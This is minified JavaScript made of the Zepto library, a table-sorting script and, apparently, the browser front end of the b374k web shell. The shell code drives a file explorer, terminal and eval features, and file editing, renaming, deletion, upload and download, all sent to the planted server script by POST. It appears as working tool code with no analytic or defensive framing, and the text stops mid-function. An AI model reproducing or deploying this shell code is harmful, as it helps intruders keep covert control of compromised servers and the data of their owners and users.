a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/gi,scriptTypeRE=/^(?:text|application)\\/javascript/i,xmlTypeRE=/^(?:text|application)\\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\\w-]+:)?\\/\\/([^\\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\\w-]+:)\\/\\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)\nvar h=!0,j=!1;sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\\d\\d?)[\\/\\.-](\\d\\d?)[\\/\\.-]((\\d\\d)?\\d\\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\\bsortable\\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/\\bsortbottom\\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\\bsorttable_nosort\\b/)){(mtch=headrow[b].className.match(/\\bsorttable_([a-z0-9]+)\\b/))&&(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\\bsorttable_sorted\\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML="&nbsp;&#x25B4;",this.appendChild(sortrevind);else if(-1!=this.className.search(/\\bsorttable_sorted_reverse\\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML="&nbsp;&#x25BE;",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML="&nbsp;&#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[\\u00a3$\\u00a4]?[\\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\\s+|\\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\\s+|\\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\\s+|\\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\\s+|\\s+$/g,"");case 4:return a.nodeValue.replace(/^\\s+|\\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=sorttable.d(a.childNodes[c]);return b.replace(/^\\s+|\\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};var loading_count=0;var running=false;var defaultTab=\'explorer\';var currentTab=$(\'#\'+defaultTab);var tabScroll=new Object;var onDrag=false;var onScroll=false;var scrollDelta=1;var scrollCounter=0;var scrollSpeed=60;var scrollTimer=\'\';var dragX=\'\';var dragY=\'\';var dragDeltaX=\'\';var dragDeltaY=\'\';var editSuccess=\'\';var terminalHistory=new Array();var terminalHistoryPos=0;var evalSupported="";var evalReady=false;var resizeTimer=\'\';var portableWidth=700;var portableMode=null;Zepto(function($){if(init_shell){var now=new Date();output("started @ "+now.toGMTString());output("cwd : "+get_cwd());output("module : "+module_to_load);show_tab();xpl_bind();eval_init();window_resize();xpl_update_status();$(window).on(\'resize\',function(e){clearTimeout(resizeTimer);resizeTimer=setTimeout("window_resize()",1000)});$(\'.menuitem\').on(\'click\',function(e){selectedTab=$(this).attr(\'href\').substr(2);show_tab(selectedTab)});$(\'#logout\').on(\'click\',function(e){var cookie=document.cookie.split(\';\');for(var i=0;i<cookie.length;i++){var entries=cookie[i],entry=entries.split("="),name=entry[0];document.cookie=name+\'=; expires=Thu, 01 Jan 1970 00:00:01 GMT;\'}localStorage.clear();location.href=targeturl});$(\'#totop\').on(\'click\',function(e){$(window).scrollTop(0)});$(\'#totop\').on(\'mouseover\',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll(\'top\')});$(\'#totop\').on(\'mouseout\',function(e){onScroll=false;scrollCounter=0});$(\'#tobottom\').on(\'click\',function(e){$(window).scrollTop($(document).height()-$(window).height())});$(\'#tobottom\').on(\'mouseover\',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll(\'bottom\')});$(\'#tobottom\').on(\'mouseout\',function(e){onScroll=false;scrollCounter=0});if(history.pushState){window.onpopstate=function(event){refresh_tab()}}else{window.historyEvent=function(event){refresh_tab()}}}});function output(str){console.log(\'b374k> \'+str)}function window_resize(){bodyWidth=$(\'body\').width();if(bodyWidth<=portableWidth){layout_portable()}else{layout_normal()}}function layout_portable(){nav=$(\'#nav\');menu=$(\'#menu\');headerNav=$(\'#headerNav\');content=$(\'#content\');nav.prependTo(\'#content\');nav.css(\'padding-top\',\'5px\');nav.css(\'display\',\'block\');menu.children().css(\'width\',\'100%\');menu.hide();$(\'#menuButton\').remove();headerNav.prepend("<div id=\'menuButton\' class=\'boxtitle\' onclick=\\"$(\'#menu\').toggle();\\" style=\'float-left;display:inline;padding:4px 8px;margin-right:8px;\'>menu</div>");menu.attr(\'onclick\',"\\$(\'#menu\').hide();");$(\'#xplTable tr>:nth-child(4)\').hide();$(\'#xplTable tr>:nth-child(5)\').hide();if(!win){$(\'#xplTable tr>:nth-child(6)\').hide()}tblfoot=$(\'#xplTable tfoot td:last-child\');if(tblfoot[0])tblfoot[0].colSpan=1;if(tblfoot[1])tblfoot[1].colSpan=2;$(\'.box\').css(\'width\',\'100%\');$(\'.box\').css(\'height\',\'100%\');$(\'.box\').css(\'left\',\'0px\');$(\'.box\').css(\'top\',\'0px\');paddingTop=$(\'#header\').height();content.css(\'padding-top\',paddingTop+\'px\');portableMode=true}function layout_normal(){nav=$(\'#nav\');menu=$(\'#menu\');content=$(\'#content\');nav.insertAfter(\'#b374k\');nav.css(\'padding-top\',\'0px\');nav.css(\'display\',\'inline\');menu.children().css(\'width\',\'auto\');menu.show();$(\'#menuButton\').remove();menu.attr(\'onclick\',"");$(\'#xplTable tr>:nth-child(4)\').show();$(\'#xplTable tr>:nth-child(5)\').show();if(!win){$(\'#xplTable tr>:nth-child(6)\').show();colspan=4}else colspan=3;tblfoot=$(\'#xplTable tfoot td:last-child\');if(tblfoot[0])tblfoot[0].colSpan=colspan;if(tblfoot[1])tblfoot[1].colSpan=colspan+1;paddingTop=$(\'#header\').height();content.css(\'padding-top\',paddingTop+\'px\');portableMode=false}function start_scroll(str){if(str==\'top\'){to=$(window).scrollTop()-scrollCounter;scrollCounter=scrollDelta+scrollCounter;if(to<=0){to=0;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll(\'top\')",scrollSpeed);$(window).scrollTop(to)}}else if(str==\'bottom\'){to=$(window).scrollTop()+scrollCounter;scrollCounter=scrollDelta+scrollCounter;bottom=$(document).height()-$(window).height();if(to>=bottom){to=bottom;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll(\'bottom\')",scrollSpeed);$(window).scrollTop(to)}}}function get_cwd(){return decodeURIComponent(get_cookie(\'cwd\'))}function fix_tabchar(el,e){if(e.keyCode==9){e.preventDefault();var s=el.selectionStart;el.value=el.value.substring(0,el.selectionStart)+"\\t"+el.value.substring(el.selectionEnd);el.selectionEnd=s+1}}function get_cookie(key){var res;return(res=new RegExp(\'(?:^|; )\'+encodeURIComponent(key)+\'=([^;]*)\').exec(document.cookie))?(res[1]):null}function set_cookie(key,value){document.cookie=key+\'=\'+encodeURIComponent(value)}function html_safe(str){if(typeof(str)=="string"){str=str.replace(/&/g,"&amp;");str=str.replace(/"/g,"&quot;");str=str.replace(/\'/g,"&#039;");str=str.replace(/</g,"&lt;");str=str.replace(/>/g,"&gt;")}return str}function ucfirst(str){return str.charAt(0).toUpperCase()+str.slice(1)}function time(){var d=new Date();return d.getTime()}function send_post(targetdata,callback,loading){if(loading==null)loading_start();$.ajax({url:targeturl,type:\'POST\',data:targetdata,success:function(res){callback(res);if(loading==null)loading_stop()},error:function(){if(loading==null)loading_stop()}})}function loading_start(){if(!running){$(\'#overlay\').show();running=true;loading_loop()}}function loading_loop(){if(running){img=$(\'#loading\');img.css(\'transform\',\'rotate(\'+loading_count+\'deg)\');img.css(\'-ms-transform\',\'rotate(\'+loading_count+\'deg)\');img.css(\'-webkit-transform\',\'rotate(\'+loading_count+\'deg)\');loading_count+=7;if(loading_count>360)loading_count=0;if(running)setTimeout("loading_loop()",20)}}function loading_stop(){if(running){img=$(\'#loading\');img.css(\'transform\',\'rotate(0deg)\');img.css(\'-ms-transform\',\'rotate(0deg)\');img.css(\'-webkit-transform\',\'rotate(0deg)\');$(\'#overlay\').hide();running=false}}function show_tab(id){if(!id){if(location.hash!=\'\')id=location.hash.substr(2);else id=defaultTab}refresh_tab(id)}function refresh_tab(id){if(!id){if(location.hash!=\'\')id=location.hash.substr(2);else id=defaultTab}$(\'.menuitemSelected\').removeClass("menuitemSelected");$(\'#menu\'+id).addClass("menuitemSelected");tabScroll[currentTab.attr(\'id\')]=$(window).scrollTop();currentTab.hide();currentTab=$(\'#\'+id);currentTab.show();window[id]();if(tabScroll[id]){$(window).scrollTop(tabScroll[id])}hide_box()}function trap_enter(e,callback){if(e.keyCode==13){if(callback!=null)window[callback]()}}function show_box(title,content){onDrag=false;hide_box();box="<div class=\'box\'><p class=\'boxtitle\'>"+title+"<span class=\'boxclose floatRight\'>x</span></p><div class=\'boxcontent\'>"+content+"</div><div class=\'boxresult\'></div></div>";$(\'#content\').append(box);box_width=$(\'.box\').width();body_width=$(\'body\').width();box_height=$(\'.box\').height();body_height=$(\'body\').height();x=(body_width-box_width)/2;y=(body_height-box_height)/2;if(x<0||portableMode)x=0;if(y<0||portableMode)y=0;if(portableMode){$(\'.box\').css(\'width\',\'100%\');$(\'.box\').css(\'height\',\'100%\')}$(\'.box\').css(\'left\',x+\'px\');$(\'.box\').css(\'top\',y+\'px\');$(\'.boxclose\').on(\'click\',function(e){hide_box()});if(!portableMode){$(\'.boxtitle\').on(\'click\',function(e){if(!onDrag){dragDeltaX=e.pageX-parseInt($(\'.box\').css(\'left\'));dragDeltaY=e.pageY-parseInt($(\'.box\').css(\'top\'));drag_start()}else drag_stop()})}$(document).off(\'keyup\');$(document).on(\'keyup\',function(e){if(e.keyCode==27)hide_box()});if($(\'.box input\')[0])$(\'.box input\')[0].focus()}function hide_box(){$(document).off(\'keyup\');$(\'.box\').remove()}function drag_start(){if(!onDrag){onDrag=true;$(\'body\').off(\'mousemove\');$(\'body\').on(\'mousemove\',function(e){dragX=e.pageX;dragY=e.pageY});setTimeout(\'drag_loop()\',50)}}function drag_loop(){if(onDrag){x=dragX-dragDeltaX;y=dragY-dragDeltaY;if(y<0)y=0;$(\'.box\').css(\'left\',x+\'px\');$(\'.box\').css(\'top\',y+\'px\');setTimeout(\'drag_loop()\',50)}}function drag_stop(){onDrag=false;$(\'body\').off(\'mousemove\')}function get_all_cbox_selected(id,callback){var buffer=new Array();$(\'#\'+id).find(\'.cBoxSelected\').not(\'.cBoxAll\').each(function(i){if((href=window[callback]($(this)))){buffer[i]=href}});return buffer}function cbox_bind(id,callback){$(\'#\'+id).find(\'.cBox\').off(\'click\');$(\'#\'+id).find(\'.cBoxAll\').off(\'click\');$(\'#\'+id).find(\'.cBox\').on(\'click\',function(e){if($(this).hasClass(\'cBoxSelected\')){$(this).removeClass(\'cBoxSelected\')}else $(this).addClass(\'cBoxSelected\');if(callback!=null)window[callback]()});$(\'#\'+id).find(\'.cBoxAll\').on(\'click\',function(e){if($(this).hasClass(\'cBoxSelected\')){$(\'#\'+id).find(\'.cBox\').removeClass(\'cBoxSelected\');$(\'#\'+id).find(\'.cBoxAll\').removeClass(\'cBoxSelected\')}else{$(\'#\'+id).find(\'.cBox\').not(\'.cBoxException\').addClass(\'cBoxSelected\');$(\'#\'+id).find(\'.cBoxAll\').not(\'.cBoxException\').addClass(\'cBoxSelected\')}if(callback!=null)window[callback]()})}function action(path,type){title="Action";content=\'\';if(type==\'file\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'edit button\'>edit</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span><span class=\'dl button\'>download</span></td></tr></table>";if(type==\'dir\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'find button\'>find</span><span class=\'ul button\'>upload</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span></td></tr></table>";if(type==\'dot\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'find button\'>find</span><span class=\'ul button\'>upload</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span><span class=\'newfile button\'>new file</span><span class=\'newfolder button\'>new folder</span></td></tr></table>";show_box(title,content);xpl_bind()}function navigate(path,showfiles){if(showfiles==null)showfiles=\'true\';send_post({cd:path,showfiles:showfiles},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==3){$(\'#nav\').html(splits[1]);if(showfiles==\'true\'){$(\'#explorer\').html(\'\');$(\'#explorer\').html(splits[2]);sorttable.k($(\'#xplTable\').get(0))}$(\'#terminalCwd\').html(html_safe(get_cwd())+\'&gt;\');xpl_bind();window_resize()}}})}function view(path,type,preserveTimestamp){if(preserveTimestamp==null)preserveTimestamp=\'true\';send_post({viewFile:path,viewType:type,preserveTimestamp:preserveTimestamp},function(res){if(res!=\'error\'){$(\'#explorer\').html(\'\');$(\'#explorer\').html(res);xpl_bind();show_tab(\'explorer\');if((type==\'edit\')||(type==\'hex\')){editResult=(type==\'edit\')?$(\'#editResult\'):$(\'#editHexResult\');if(editSuccess==\'success\'){editResult.html(\' ( File saved )\')}else if(editSuccess==\'error\'){editResult.html(\' ( Failed to save file )\')}editSuccess=\'\'}cbox_bind(\'editTbl\')}})}function view_entry(el){if($(el).attr(\'data-path\')!=\'\'){entry=$(el).attr(\'data-path\');$(\'#form\').append("<input type=\'hidden\' name=\'viewEntry\' value=\'"+entry+"\'>");$(\'#form\').submit();$(\'#form\').html(\'\')}}function ren(path){title="Rename";content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Rename to</td><td><input type=\'text\' class=\'renameFileTo\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ren_go\');\\"><input type=\'hidden\' class=\'renameFile\' value=\'"+path+"\'></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'ren_go();\'>rename</span></td></tr></table>";show_box(title,content)}function ren_go(){renameFile=$(\'.renameFile\').val();renameFileTo=$(\'.renameFileTo\').val();send_post({renameFile:renameFile,renameFileTo:renameFileTo},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\');$(\'.renameFile\').val($(\'.renameFileTo\').val())}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function newfolder(path){title="New Folder";path=path+\'newfolder-\'+time();content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Folder Name</td><td><input type=\'text\' class=\'newFolder\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'newfolder_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'newfolder_go();\'>create</span></td></tr></table>";show_box(title,content)}function newfolder_go(){newFolder=$(\'.newFolder\').val();send_post({newFolder:newFolder},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function newfile(path){title="New File";path=path+\'newfile-\'+time();content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>File Name</td><td><input type=\'text\' class=\'newFile\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'newfile_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'newfile_go();\'>create</span></td></tr></table>";show_box(title,content)}function newfile_go(){newFile=$(\'.newFile\').val();send_post({newFile:newFile},function(res){if(res!=\'error\'){view(newFile,\'edit\');$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function viewfileorfolder(){title="View File / Folder";content="<table class=\'boxtbl\'><tr><td><input type=\'text\' class=\'viewFileorFolder\' value=\'"+html_safe(get_cwd())+"\' onkeydown=\\"trap_enter(event, \'viewfileorfolder_go\');\\"></td></tr><tr><td><span class=\'button\' onclick=\'viewfileorfolder_go();\'>view</span></td></tr></table>";show_box(title,content)}function viewfileorfolder_go(){entry=$(\'.viewFileorFolder\').val();send_post({viewFileorFolder:entry},function(res){if(res!=\'error\'){if(res==\'file\'){view(entry,\'auto\');show_tab(\'explorer\')}else if(res==\'folder\'){navigate(entry);show_tab(\'explorer\')}}})}function del(path){title="Delete";content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Delete</td><td><input type=\'text\' 